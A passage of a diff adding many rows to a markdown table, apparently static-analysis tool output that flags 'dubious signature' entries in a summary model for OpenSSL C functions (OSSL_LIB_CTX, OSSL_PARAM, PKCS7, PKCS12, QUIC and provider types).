signature "(OSSL_LIB_CTX **,OSSL_PROVIDER **,OSSL_PROVIDER **,int,const char *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX **,OSSL_PROVIDER **,const char *,OSSL_PROVIDER **,const char *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX **,const char **,const X509_PUBKEY *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,..(*)(..),void *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,CONF_METHOD *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,CRYPTO_THREAD_ROUTINE,void *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,ECX_KEY_TYPE,int,const char *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,EVP_PKEY *,const char *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,OSSL_CALLBACK **,void **)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,OSSL_CORE_BIO *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,OSSL_INDICATOR_CALLBACK **)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,OSSL_PROPERTY_IDX)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,OSSL_PROVIDER_INFO *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,SSL_CTX *,const char *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const BIO_METHOD *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *,BN_GENCB *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const OSSL_DISPATCH *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const OSSL_PROPERTY_DEFINITION *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const OSSL_PROPERTY_LIST *,char *,size_t)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const SSL_METHOD *,const SSL_METHOD *,int,int,SSL_CTX **,SSL_CTX **,char *,char *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const char *,ENGINE *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const char *,OSSL_PARAM *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const char *,OSSL_PARAM *,int)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const char *,OSSL_PROPERTY_LIST **)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const char *,OSSL_provider_init_fn *,OSSL_PARAM *,int)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const char *,const EC_METHOD *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const char *,const QUIC_PKT_HDR *,const QUIC_CONN_ID *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const char *,const QUIC_PKT_HDR *,const QUIC_CONN_ID *,unsigned char *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const char *,const SSL_METHOD *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const char *,const char *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const char *,const char *,const char *,const OSSL_PARAM *,const void *,size_t,const unsigned char *,size_t,unsigned char *,size_t,size_t *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const char *,int)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,uint8_t,const char *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t[64],const uint8_t *,uint8_t,const char *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,int)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,int,OSSL_PROVIDER **,int,OSSL_METHOD_CONSTRUCT_METHOD *,void *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,int,long,void *,CRYPTO_EX_new *,CRYPTO_EX_dup *,CRYPTO_EX_free *,int)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,int,void *,CRYPTO_EX_DATA *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,size_t)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,size_t,QUIC_CONN_ID *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,size_t,int,size_t,int)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,uint8_t *,const uint8_t *,size_t,const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,const uint8_t,const char *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,uint8_t[32],const uint8_t[32],const char *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,uint8_t[57],const uint8_t[57],const char *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,size_t,const char *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t[64],const uint8_t *,size_t,const char *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,uint32_t,int *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,uint32_t,uint32_t,int *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,int,unsigned char *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,unsigned char *,size_t)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,unsigned char *,size_t,const unsigned char *,size_t,int,int)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,unsigned char *,size_t,unsigned int)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,unsigned int,unsigned char *,size_t *,size_t,unsigned char **,int *,size_t,int)" in summary model. | +| Dubious signature "(OSSL_METHOD_STORE *)" in summary model. | +| Dubious signature "(OSSL_METHOD_STORE *,const OSSL_PROVIDER *,int,const char *,void *,..(*)(..),..(*)(..))" in summary model. | +| Dubious signature "(OSSL_METHOD_STORE *,int,const char *,const OSSL_PROVIDER **,void **)" in summary model. | +| Dubious signature "(OSSL_NAMED_DAY *)" in summary model. | +| Dubious signature "(OSSL_NAMED_DAY **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_NAMEMAP *,int,const char *)" in summary model. | +| Dubious signature "(OSSL_NAMEMAP *,int,const char *,const char)" in summary model. | +| Dubious signature "(OSSL_OBJECT_DIGEST_INFO *)" in summary model. | +| Dubious signature "(OSSL_OBJECT_DIGEST_INFO *,int,X509_ALGOR *,ASN1_BIT_STRING *)" in summary model. | +| Dubious signature "(OSSL_PARAM *)" in summary model. | +| Dubious signature "(OSSL_PARAM *,const BIGNUM *)" in summary model. | +| Dubious signature "(OSSL_PARAM *,const OSSL_PARAM *,const char *,const char *,size_t,int *)" in summary model. | +| Dubious signature "(OSSL_PARAM *,const char *)" in summary model. | +| Dubious signature "(OSSL_PARAM *,const void *,size_t)" in summary model. | +| Dubious signature "(OSSL_PARAM *,double)" in summary model. | +| Dubious signature "(OSSL_PARAM *,int32_t)" in summary model. | +| Dubious signature "(OSSL_PARAM *,int64_t)" in summary model. | +| Dubious signature "(OSSL_PARAM *,int)" in summary model. | +| Dubious signature "(OSSL_PARAM *,long)" in summary model. | +| Dubious signature "(OSSL_PARAM *,size_t)" in summary model. | +| Dubious signature "(OSSL_PARAM *,time_t)" in summary model. | +| Dubious signature "(OSSL_PARAM *,uint32_t)" in summary model. | +| Dubious signature "(OSSL_PARAM *,uint64_t)" in summary model. | +| Dubious signature "(OSSL_PARAM *,unsigned int)" in summary model. | +| Dubious signature "(OSSL_PARAM *,unsigned long)" in summary model. | +| Dubious signature "(OSSL_PARAM *,void *,size_t)" in summary model. | +| Dubious signature "(OSSL_PARAM[],size_t,size_t,unsigned long)" in summary model. | +| Dubious signature "(OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t)" in summary model. | +| Dubious signature "(OSSL_PARAM_BLD *)" in summary model. | +| Dubious signature "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const BIGNUM *)" in summary model. | +| Dubious signature "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const BIGNUM *,size_t)" in summary model. | +| Dubious signature "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const char *)" in summary model. | +| Dubious signature "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,int)" in summary model. | +| Dubious signature "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,long)" in summary model. | +| Dubious signature "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *[],stack_st_BIGNUM_const *)" in summary model. | +| Dubious signature "(OSSL_PARAM_BLD *,const char *,const BIGNUM *)" in summary model. | +| Dubious signature "(OSSL_PARAM_BLD *,const char *,const BIGNUM *,size_t)" in summary model. | +| Dubious signature "(OSSL_PARAM_BLD *,const char *,const char *,size_t)" in summary model. | +| Dubious signature "(OSSL_PARAM_BLD *,const char *,const void *,size_t)" in summary model. | +| Dubious signature "(OSSL_PQUEUE *)" in summary model. | +| Dubious signature "(OSSL_PQUEUE *,size_t)" in summary model. | +| Dubious signature "(OSSL_PQUEUE *,void *,size_t *)" in summary model. | +| Dubious signature "(OSSL_PRIVILEGE_POLICY_ID *)" in summary model. | +| Dubious signature "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_PROVIDER *)" in summary model. | +| Dubious signature "(OSSL_PROVIDER *,OSSL_PROVIDER **,int)" in summary model. | +| Dubious signature "(OSSL_PROVIDER *,const OSSL_CORE_HANDLE *)" in summary model. | +| Dubious signature "(OSSL_PROVIDER *,const char *)" in summary model. | +| Dubious signature "(OSSL_PROVIDER *,int,..(*)(..),void *)" in summary model. | +| Dubious signature "(OSSL_PROVIDER *,size_t)" in summary model. | +| Dubious signature "(OSSL_PROVIDER *,size_t,int *)" in summary model. | +| Dubious signature "(OSSL_QRL_ENC_LEVEL_SET *,uint32_t,int)" in summary model. | +| Dubious signature "(OSSL_QRX *)" in summary model. | +| Dubious signature "(OSSL_QRX *,OSSL_QRX_PKT *)" in summary model. | +| Dubious signature "(OSSL_QRX *,OSSL_QRX_PKT **)" in summary model. | +| Dubious signature "(OSSL_QRX *,QUIC_URXE *)" in summary model. | +| Dubious signature "(OSSL_QRX *,int)" in summary model. | +| Dubious signature "(OSSL_QRX *,ossl_msg_cb,SSL *)" in summary model. | +| Dubious signature "(OSSL_QRX *,ossl_qrx_key_update_cb *,void *)" in summary model. | +| Dubious signature "(OSSL_QRX *,ossl_qrx_late_validation_cb *,void *)" in summary model. | +| Dubious signature "(OSSL_QRX *,void *)" in summary model. | +| Dubious signature "(OSSL_QTX *)" in summary model. | +| Dubious signature "(OSSL_QTX *,..(*)(..),void *)" in summary model. | +| Dubious signature "(OSSL_QTX *,BIO *)" in summary model. | +| Dubious signature "(OSSL_QTX *,BIO_MSG *)" in summary model. | +| Dubious signature "(OSSL_QTX *,ossl_msg_cb,SSL *)" in summary model. | +| Dubious signature "(OSSL_QTX *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *)" in summary model. | +| Dubious signature "(OSSL_QTX *,size_t)" in summary model. | +| Dubious signature "(OSSL_QTX *,uint32_t)" in summary model. | +| Dubious signature "(OSSL_QTX *,uint32_t,size_t,size_t *)" in summary model. | +| Dubious signature "(OSSL_QTX *,void *)" in summary model. | +| Dubious signature "(OSSL_QUIC_TX_PACKETISER *,..(*)(..),void *)" in summary model. | +| Dubious signature "(OSSL_QUIC_TX_PACKETISER *,const OSSL_QUIC_FRAME_CONN_CLOSE *)" in summary model. | +| Dubious signature "(OSSL_QUIC_TX_PACKETISER *,const QUIC_CONN_ID *)" in summary model. | +| Dubious signature "(OSSL_QUIC_TX_PACKETISER *,const unsigned char *,size_t,ossl_quic_initial_token_free_fn *,void *)" in summary model. | +| Dubious signature "(OSSL_QUIC_TX_PACKETISER *,ossl_msg_cb,SSL *)" in summary model. | +| Dubious signature "(OSSL_QUIC_TX_PACKETISER *,size_t)" in summary model. | +| Dubious signature "(OSSL_QUIC_TX_PACKETISER *,uint32_t)" in summary model. | +| Dubious signature "(OSSL_QUIC_TX_PACKETISER *,void *)" in summary model. | +| Dubious signature "(OSSL_RECORD_LAYER *)" in summary model. | +| Dubious signature "(OSSL_RECORD_LAYER *,BIO *)" in summary model. | +| Dubious signature "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t)" in summary model. | +| Dubious signature "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *)" in summary model. | +| Dubious signature "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,size_t *)" in summary model. | +| Dubious signature "(OSSL_RECORD_LAYER *,TLS_RL_RECORD *)" in summary model. | +| Dubious signature "(OSSL_RECORD_LAYER *,WPACKET *,OSSL_RECORD_TEMPLATE *,uint8_t,unsigned char **)" in summary model. | +| Dubious signature "(OSSL_RECORD_LAYER *,const OSSL_PARAM *)" in summary model. | +| Dubious signature "(OSSL_RECORD_LAYER *,int)" in summary model. | +| Dubious signature "(OSSL_RECORD_LAYER *,int,int,const char *,...)" in summary model. | +| Dubious signature "(OSSL_RECORD_LAYER *,size_t)" in summary model. | +| Dubious signature "(OSSL_RECORD_LAYER *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_RL_RECORD *)" in summary model. | +| Dubious signature "(OSSL_RECORD_LAYER *,size_t,WPACKET *,TLS_RL_RECORD *)" in summary model. | +| Dubious signature "(OSSL_RECORD_LAYER *,size_t,size_t,int,int,size_t *)" in summary model. | +| Dubious signature "(OSSL_RECORD_LAYER *,size_t,size_t,size_t)" in summary model. | +| Dubious signature "(OSSL_RECORD_LAYER *,uint8_t,size_t,size_t,size_t *)" in summary model. | +| Dubious signature "(OSSL_RECORD_LAYER *,void **,int *,uint8_t *,const unsigned char **,size_t *,uint16_t *,unsigned char *)" in summary model. | +| Dubious signature "(OSSL_ROLE_SPEC_CERT_ID *)" in summary model. | +| Dubious signature "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX *)" in summary model. | +| Dubious signature "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_SELF_TEST *,const char *,const char *)" in summary model. | +| Dubious signature "(OSSL_SELF_TEST *,unsigned char *)" in summary model. | +| Dubious signature "(OSSL_STATM *,OSSL_RTT_INFO *)" in summary model. | +| Dubious signature "(OSSL_STATM *,OSSL_TIME,OSSL_TIME)" in summary model. | +| Dubious signature "(OSSL_STORE_CTX *)" in summary model. | +| Dubious signature "(OSSL_STORE_CTX *,int)" in summary model. | +| Dubious signature "(OSSL_STORE_CTX *,int,va_list)" in summary model. | +| Dubious signature "(OSSL_STORE_LOADER *,OSSL_STORE_attach_fn)" in summary model. | +| Dubious signature "(OSSL_STORE_LOADER *,OSSL_STORE_close_fn)" in summary model. | +| Dubious signature "(OSSL_STORE_LOADER *,OSSL_STORE_ctrl_fn)" in summary model. | +| Dubious signature "(OSSL_STORE_LOADER *,OSSL_STORE_eof_fn)" in summary model. | +| Dubious signature "(OSSL_STORE_LOADER *,OSSL_STORE_error_fn)" in summary model. | +| Dubious signature "(OSSL_STORE_LOADER *,OSSL_STORE_expect_fn)" in summary model. | +| Dubious signature "(OSSL_STORE_LOADER *,OSSL_STORE_find_fn)" in summary model. | +| Dubious signature "(OSSL_STORE_LOADER *,OSSL_STORE_load_fn)" in summary model. | +| Dubious signature "(OSSL_STORE_LOADER *,OSSL_STORE_open_ex_fn)" in summary model. | +| Dubious signature "(OSSL_STORE_LOADER *,OSSL_STORE_open_fn)" in summary model. | +| Dubious signature "(OSSL_TARGET *)" in summary model. | +| Dubious signature "(OSSL_TARGET **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_TARGETING_INFORMATION *)" in summary model. | +| Dubious signature "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_TARGETS *)" in summary model. | +| Dubious signature "(OSSL_TARGETS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_TIME_PERIOD *)" in summary model. | +| Dubious signature "(OSSL_TIME_PERIOD **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_TIME_SPEC *)" in summary model. | +| Dubious signature "(OSSL_TIME_SPEC **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_TIME_SPEC_ABSOLUTE *)" in summary model. | +| Dubious signature "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_TIME_SPEC_DAY *)" in summary model. | +| Dubious signature "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_TIME_SPEC_MONTH *)" in summary model. | +| Dubious signature "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_TIME_SPEC_TIME *)" in summary model. | +| Dubious signature "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_TIME_SPEC_WEEKS *)" in summary model. | +| Dubious signature "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_TIME_SPEC_X_DAY_OF *)" in summary model. | +| Dubious signature "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_USER_NOTICE_SYNTAX *)" in summary model. | +| Dubious signature "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_i2d_of_void_ctx *,void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(OTHERNAME *)" in summary model. | +| Dubious signature "(OTHERNAME **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OTHERNAME *,OTHERNAME *)" in summary model. | +| Dubious signature "(PACKET *)" in summary model. | +| Dubious signature "(PACKET *,BIGNUM *)" in summary model. | +| Dubious signature "(PACKET *,OSSL_QUIC_FRAME_CONN_CLOSE *)" in summary model. | +| Dubious signature "(PACKET *,OSSL_QUIC_FRAME_NEW_CONN_ID *)" in summary model. | +| Dubious signature "(PACKET *,OSSL_QUIC_FRAME_RESET_STREAM *)" in summary model. | +| Dubious signature "(PACKET *,OSSL_QUIC_FRAME_STOP_SENDING *)" in summary model. | +| Dubious signature "(PACKET *,PACKET *)" in summary model. | +| Dubious signature "(PACKET *,QUIC_PREFERRED_ADDR *)" in summary model. | +| Dubious signature "(PACKET *,const unsigned char **,size_t *)" in summary model. | +| Dubious signature "(PACKET *,int,OSSL_QUIC_FRAME_CRYPTO *)" in summary model. | +| Dubious signature "(PACKET *,int,OSSL_QUIC_FRAME_STREAM *)" in summary model. | +| Dubious signature "(PACKET *,size_t,int,int,QUIC_PKT_HDR *,QUIC_PKT_HDR_PTRS *,uint64_t *)" in summary model. | +| Dubious signature "(PACKET *,uint16_t **,size_t *)" in summary model. | +| Dubious signature "(PACKET *,uint32_t,OSSL_QUIC_FRAME_ACK *,uint64_t *)" in summary model. | +| Dubious signature "(PACKET *,uint64_t *)" in summary model. | +| Dubious signature "(PACKET *,uint64_t *,QUIC_CONN_ID *)" in summary model. | +| Dubious signature "(PACKET *,uint64_t *,int *)" in summary model. | +| Dubious signature "(PACKET *,uint64_t *,size_t *)" in summary model. | +| Dubious signature "(PACKET *,uint64_t *,uint64_t *)" in summary model. | +| Dubious signature "(PBE2PARAM *)" in summary model. | +| Dubious signature "(PBE2PARAM **,const unsigned char **,long)" in summary model. | +| Dubious signature "(PBEPARAM *)" in summary model. | +| Dubious signature "(PBEPARAM **,const unsigned char **,long)" in summary model. | +| Dubious signature "(PBKDF2PARAM *)" in summary model. | +| Dubious signature "(PBKDF2PARAM **,const unsigned char **,long)" in summary model. | +| Dubious signature "(PBMAC1PARAM *)" in summary model. | +| Dubious signature "(PBMAC1PARAM **,const unsigned char **,long)" in summary model. | | Dubious signature "(PCXSTR,IAtlStringMgr *)" in summary model. | | Dubious signature "(PCXSTR,const CStringT &)" in summary model. | +| Dubious signature "(PKCS7 *)" in summary model. | +| Dubious signature "(PKCS7 **,const unsigned char **,long)" in summary model. | +| Dubious signature "(PKCS7 *,BIO *)" in summary model. | +| Dubious signature "(PKCS7 *,EVP_PKEY *,BIO *,X509 *)" in summary model. | +| Dubious signature "(PKCS7 *,OSSL_LIB_CTX *)" in summary model. | +| Dubious signature "(PKCS7 *,PKCS7_SIGNER_INFO *)" in summary model. | +| Dubious signature "(PKCS7 *,X509 *)" in summary model. | +| Dubious signature "(PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *)" in summary model. | +| Dubious signature "(PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *,int)" in summary model. | +| Dubious signature "(PKCS7 *,X509_CRL *)" in summary model. | +| Dubious signature "(PKCS7 *,const char *)" in summary model. | +| Dubious signature "(PKCS7 *,int)" in summary model. | +| Dubious signature "(PKCS7 *,int,ASN1_TYPE *)" in summary model. | +| Dubious signature "(PKCS7 *,int,long,char *)" in summary model. | +| Dubious signature "(PKCS7 *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,int)" in summary model. | +| Dubious signature "(PKCS7 *,stack_st_X509 *,X509_STORE *,X509 **)" in summary model. | +| Dubious signature "(PKCS7 *,stack_st_X509 *,int)" in summary model. | +| Dubious signature "(PKCS7_DIGEST *)" in summary model. | +| Dubious signature "(PKCS7_DIGEST **,const unsigned char **,long)" in summary model. | +| Dubious signature "(PKCS7_ENCRYPT *)" in summary model. | +| Dubious signature "(PKCS7_ENCRYPT **,const unsigned char **,long)" in summary model. | +| Dubious signature "(PKCS7_ENC_CONTENT *)" in summary model. | +| Dubious signature "(PKCS7_ENC_CONTENT **,const unsigned char **,long)" in summary model. | +| Dubious signature "(PKCS7_ENVELOPE *)" in summary model. | +| Dubious signature "(PKCS7_ENVELOPE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(PKCS7_ISSUER_AND_SERIAL *)" in summary model. | +| Dubious signature "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)" in summary model. | +| Dubious signature "(PKCS7_ISSUER_AND_SERIAL *,const EVP_MD *,unsigned char *,unsigned int *)" in summary model. | +| Dubious signature "(PKCS7_RECIP_INFO *)" in summary model. | +| Dubious signature "(PKCS7_RECIP_INFO **,const unsigned char **,long)" in summary model. | +| Dubious signature "(PKCS7_RECIP_INFO *,X509 *)" in summary model. | +| Dubious signature "(PKCS7_RECIP_INFO *,X509_ALGOR **)" in summary model. | +| Dubious signature "(PKCS7_SIGNED *)" in summary model. | +| Dubious signature "(PKCS7_SIGNED **,const unsigned char **,long)" in summary model. | +| Dubious signature "(PKCS7_SIGNER_INFO *)" in summary model. | +| Dubious signature "(PKCS7_SIGNER_INFO **,const unsigned char **,long)" in summary model. | +| Dubious signature "(PKCS7_SIGNER_INFO *,EVP_PKEY **,X509_ALGOR **,X509_ALGOR **)" in summary model. | +| Dubious signature "(PKCS7_SIGNER_INFO *,X509 *,EVP_PKEY *,const EVP_MD *)" in summary model. | +| Dubious signature "(PKCS7_SIGNER_INFO *,stack_st_X509_ALGOR *)" in summary model. | +| Dubious signature "(PKCS7_SIGNER_INFO *,stack_st_X509_ATTRIBUTE *)" in summary model. | +| Dubious signature "(PKCS7_SIGN_ENVELOPE *)" in summary model. | +| Dubious signature "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(PKCS8_PRIV_KEY_INFO *)" in summary model. | +| Dubious signature "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)" in summary model. | +| Dubious signature "(PKCS8_PRIV_KEY_INFO *,ASN1_OBJECT *,int,int,void *,unsigned char *,int)" in summary model. | +| Dubious signature "(PKCS8_PRIV_KEY_INFO *,X509_ATTRIBUTE *)" in summary model. | +| Dubious signature "(PKCS8_PRIV_KEY_INFO *,const ASN1_OBJECT *,int,const unsigned char *,int)" in summary model. | +| Dubious signature "(PKCS12 *)" in summary model. | +| Dubious signature "(PKCS12 **,const unsigned char **,long)" in summary model. | +| Dubious signature "(PKCS12 *,const char *,EVP_PKEY **,X509 **,stack_st_X509 **)" in summary model. | +| Dubious signature "(PKCS12 *,const char *,int,unsigned char *,int,int,const EVP_MD *,const char *)" in summary model. | +| Dubious signature "(PKCS12 *,stack_st_PKCS7 *)" in summary model. | +| Dubious signature "(PKCS12_BAGS *)" in summary model. | +| Dubious signature "(PKCS12_BAGS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(PKCS12_BUILDER *)" in summary model. | +| Dubious signature "(PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *)" in summary model. | +| Dubious signature "(PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *,const PKCS12_ENC *)" in summary model. | +| Dubious signature "(PKCS12_BUILDER *,int,const char *,const PKCS12_ATTR *)" in summary model. | +| Dubious signature "(PKCS12_MAC_DATA *)" in summary model. | +| Dubious signature "(PKCS12_MAC_DATA **,const unsigned char **,long)" in summary model. | +| Dubious signature "(PKCS12_SAFEBAG *)" in summary model. | +| Dubious signature "(PKCS12_SAFEBAG **,const unsigned char **,long)" in summary model. | +| Dubious signature "(PKCS12_SAFEBAG *,stack_st_X509_ATTRIBUTE *)" in summary model. | +| Dubious signature "(PKEY_USAGE_PERIOD *)" in summary model. | +| Dubious signature "(PKEY_USAGE_PERIOD **,const unsigned char **,long)" in summary model. | +| Dubious signature "(POLICYINFO *)" in summary model. | +| Dubious signature "(POLICYINFO **,const unsigned char **,long)" in summary model. | +| Dubious signature "(POLICYINFO *,const ASN1_OBJECT *,int)" in summary model. | +| Dubious signature "(POLICYQUALINFO *)" in summary model. | +| Dubious signature "(POLICYQUALINFO **,const unsigned char **,long)" in summary model. | +| Dubious signature "(POLICY_CONSTRAINTS *)" in summary model. | +| Dubious signature "(POLICY_MAPPING *)" in summary model. | +| Dubious signature "(POLY1305 *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(POLY1305 *,const unsigned char[32])" in summary model. | +| Dubious signature "(POLY *,const uint8_t *,int,EVP_MD_CTX *,const EVP_MD *,uint32_t)" in summary model. | +| Dubious signature "(POLY *,const uint8_t *,size_t,uint32_t,EVP_MD_CTX *,const EVP_MD *)" in summary model. | +| Dubious signature "(PROFESSION_INFO *)" in summary model. | +| Dubious signature "(PROFESSION_INFO **,const unsigned char **,long)" in summary model. | +| Dubious signature "(PROFESSION_INFO *,ASN1_OCTET_STRING *)" in summary model. | +| Dubious signature "(PROFESSION_INFO *,ASN1_PRINTABLESTRING *)" in summary model. | +| Dubious signature "(PROFESSION_INFO *,NAMING_AUTHORITY *)" in summary model. | +| Dubious signature "(PROFESSION_INFO *,stack_st_ASN1_OBJECT *)" in summary model. | +| Dubious signature "(PROFESSION_INFO *,stack_st_ASN1_STRING *)" in summary model. | +| Dubious signature "(PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t)" in summary model. | +| Dubious signature "(PROV_CCM_CTX *,size_t,const PROV_CCM_HW *)" in summary model. | +| Dubious signature "(PROV_CIPHER *,const OSSL_PARAM[],OSSL_LIB_CTX *)" in summary model. | +| Dubious signature "(PROV_CIPHER *,const PROV_CIPHER *)" in summary model. | +| Dubious signature "(PROV_CIPHER_CTX *,const PROV_CIPHER_CTX *)" in summary model. | +| Dubious signature "(PROV_CIPHER_CTX *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(PROV_CTX *)" in summary model. | +| Dubious signature "(PROV_CTX *,BIO_METHOD *)" in summary model. | +| Dubious signature "(PROV_CTX *,OSSL_CORE_BIO *)" in summary model. | +| Dubious signature "(PROV_CTX *,OSSL_FUNC_core_get_params_fn *)" in summary model. | +| Dubious signature "(PROV_CTX *,OSSL_LIB_CTX *)" in 